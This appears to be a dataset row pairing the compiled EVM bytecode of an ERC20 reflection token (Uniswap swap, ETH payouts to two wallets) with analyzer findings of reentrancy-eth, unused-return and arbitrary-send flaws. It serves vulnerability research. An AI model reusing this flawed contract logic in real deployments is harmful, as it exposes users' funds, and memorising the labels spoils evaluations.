00160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061220a565b905092915050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e1b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e495781602001602082028036833780820191505090505b5090503081600081518110611e87577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f2957600080fd5b505afa158015611f3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f619190612940565b81600181518110611f9b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061200230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120669594939291906130d1565b600060405180830381600087803b15801561208057600080fd5b505af1158015612094573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612107600284611d7390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612132573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612183600284611d7390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121ae573d6000803e3d6000fd5b5050565b806121c0576121bf61226d565b5b6121cb84848461229e565b806121d9576121d8612469565b5b50505050565b60008060006121ec61247b565b915091506122038183611d7390919063ffffffff16565b9250505090565b60008083118290612251576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122489190612ef4565b60405180910390fd5b50600083856122609190613242565b9050809150509392505050565b600060085414801561228157506000600954145b1561228b5761229c565b600060088190555060006009819055505b565b6000806000806000806122b0876124dd565b95509550955095509550955061230e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123a385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ef816125ed565b6123f984836126aa565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161245691906130b6565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124b1683635c9adc5dea00000600654611d7390919063ffffffff16565b8210156124d057600654683635c9adc5dea000009350935050506124d9565b81819350935050505b9091565b60008060008060008060008060006124fa8a6008546009546126e4565b925092509250600061250a6121df565b9050600080600061251d8e87878761277a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c26565b905092915050565b600080828461259e91906131ec565b9050838110156125e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125da90612f96565b60405180910390fd5b8091505092915050565b60006125f76121df565b9050600061260e8284611cf890919063ffffffff16565b905061266281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126bf8260065461254590919063ffffffff16565b6006819055506126da8160075461258f90919063ffffffff16565b6007819055505050565b6000806000806127106064612702888a611cf890919063ffffffff16565b611d7390919063ffffffff16565b9050600061273a606461272c888b611cf890919063ffffffff16565b611d7390919063ffffffff16565b9050600061276382612755858c61254590919063ffffffff16565b61254590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127938589611cf890919063ffffffff16565b905060006127aa8689611cf890919063ffffffff16565b905060006127c18789611cf890919063ffffffff16565b905060006127ea826127dc858761254590919063ffffffff16565b61254590919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128166128118461316b565b613146565b9050808382526020820190508285602086028201111561283557600080fd5b60005b85811015612865578161284b888261286f565b845260208401935060208301925050600181019050612838565b5050509392505050565b60008135905061287e816137d2565b92915050565b600081519050612893816137d2565b92915050565b600082601f8301126128aa57600080fd5b81356128ba848260208601612803565b91505092915050565b6000813590506128d2816137e9565b92915050565b6000815190506128e7816137e9565b92915050565b6000813590506128fc81613800565b92915050565b60008151905061291181613800565b92915050565b60006020828403121561292957600080fd5b60006129378482850161286f565b91505092915050565b60006020828403121561295257600080fd5b600061296084828501612884565b91505092915050565b6000806040838503121561297c57600080fd5b600061298a8582860161286f565b925050602061299b8582860161286f565b9150509250929050565b6000806000606084860312156129ba57600080fd5b60006129c88682870161286f565b93505060206129d98682870161286f565b92505060406129ea868287016128ed565b9150509250925092565b60008060408385031215612a0757600080fd5b6000612a158582860161286f565b9250506020612a26858286016128ed565b9150509250929050565b600060208284031215612a4257600080fd5b600082013567ffffffffffffffff811115612a5c57600080fd5b612a6884828501612899565b91505092915050565b600060208284031215612a8357600080fd5b6000612a91848285016128c3565b91505092915050565b600060208284031215612aac57600080fd5b6000612aba848285016128d8565b91505092915050565b600060208284031215612ad557600080fd5b6000612ae3848285016128ed565b91505092915050565b600080600060608486031215612b0157600080fd5b6000612b0f86828701612902565b9350506020612b2086828701612902565b9250506040612b3186828701612902565b9150509250925092565b6000612b478383612b53565b60208301905092915050565b612b5c81613301565b82525050565b612b6b81613301565b82525050565b6000612b7c826131a7565b612b8681856131ca565b9350612b9183613197565b8060005b83811015612bc2578151612ba98882612b3b565b9750612bb4836131bd565b925050600181019050612b95565b5085935050505092915050565b612bd881613313565b82525050565b612be781613356565b82525050565b6000612bf8826131b2565b612c0281856131db565b9350612c12818560208601613368565b612c1b816134a2565b840191505092915050565b6000612c336023836131db565b9150612c3e826134b3565b604082019050919050565b6000612c56601a836131db565b9150612c6182613502565b602082019050919050565b6000612c79602a836131db565b9150612c848261352b565b604082019050919050565b6000612c9c6022836131db565b9150612ca78261357a565b604082019050919050565b6000612cbf601b836131db565b9150612cca826135c9565b602082019050919050565b6000612ce2601b836131db565b9150612ced826135f2565b602082019050919050565b6000612d05601d836131db565b9150612d108261361b565b602082019050919050565b6000612d286021836131db565b9150612d3382613644565b604082019050919050565b6000612d4b6020836131db565b9150612d5682613693565b602082019050919050565b6000612d6e6029836131db565b9150612d79826136bc565b604082019050919050565b6000612d916025836131db565b9150612d9c8261370b565b604082019050919050565b6000612db46024836131db565b9150612dbf8261375a565b604082019050919050565b6000612dd76011836131db565b9150612de2826137a9565b602082019050919050565b612df68161333f565b82525050565b612e0581613349565b82525050565b6000602082019050612e206000830184612b62565b92915050565b6000604082019050612e3b6000830185612b62565b612e486020830184612b62565b9392505050565b6000604082019050612e646000830185612b62565b612e716020830184612ded565b9392505050565b600060c082019050612e8d6000830189612b62565b612e9a6020830188612ded565b612ea76040830187612bde565b612eb46060830186612bde565b612ec16080830185612b62565b612ece60a0830184612ded565b979650505050505050565b6000602082019050612eee6000830184612bcf565b92915050565b60006020820190508181036000830152612f0e8184612bed565b905092915050565b60006020820190508181036000830152612f2f81612c26565b9050919050565b60006020820190508181036000830152612f4f81612c49565b9050919050565b60006020820190508181036000830152612f6f81612c6c565b9050919050565b60006020820190508181036000830152612f8f81612c8f565b9050919050565b60006020820190508181036000830152612faf81612cb2565b9050919050565b60006020820190508181036000830152612fcf81612cd5565b9050919050565b60006020820190508181036000830152612fef81612cf8565b9050919050565b6000602082019050818103600083015261300f81612d1b565b9050919050565b6000602082019050818103600083015261302f81612d3e565b9050919050565b6000602082019050818103600083015261304f81612d61565b9050919050565b6000602082019050818103600083015261306f81612d84565b9050919050565b6000602082019050818103600083015261308f81612da7565b9050919050565b600060208201905081810360008301526130af81612dca565b9050919050565b60006020820190506130cb6000830184612ded565b92915050565b600060a0820190506130e66000830188612ded565b6130f36020830187612bde565b81810360408301526131058186612b71565b90506131146060830185612b62565b6131216080830184612ded565b9695505050505050565b60006020820190506131406000830184612dfc565b92915050565b6000613150613161565b905061315c828261339b565b919050565b6000604051905090565b600067ffffffffffffffff82111561318657613185613473565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131f78261333f565b91506132028361333f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561323757613236613415565b5b828201905092915050565b600061324d8261333f565b91506132588361333f565b92508261326857613267613444565b5b828204905092915050565b600061327e8261333f565b91506132898361333f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132c2576132c1613415565b5b828202905092915050565b60006132d88261333f565b91506132e38361333f565b9250828210156132f6576132f5613415565b5b828203905092915050565b600061330c8261331f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133618261333f565b9050919050565b60005b8381101561338657808201518184015260208101905061336b565b83811115613395576000848401525b50505050565b6133a4826134a2565b810181811067ffffffffffffffff821117156133c3576133c2613473565b5b80604052505050565b60006133d78261333f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561340a57613409613415565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137db81613301565b81146137e657600080fd5b50565b6137f281613313565b81146137fd57600080fd5b50565b6138098161333f565b811461381457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220609859bb9ff439c00212c7a2cdc61f0a4c70f34bff7b1e3f92ef4f3f981b3f5b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,499 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.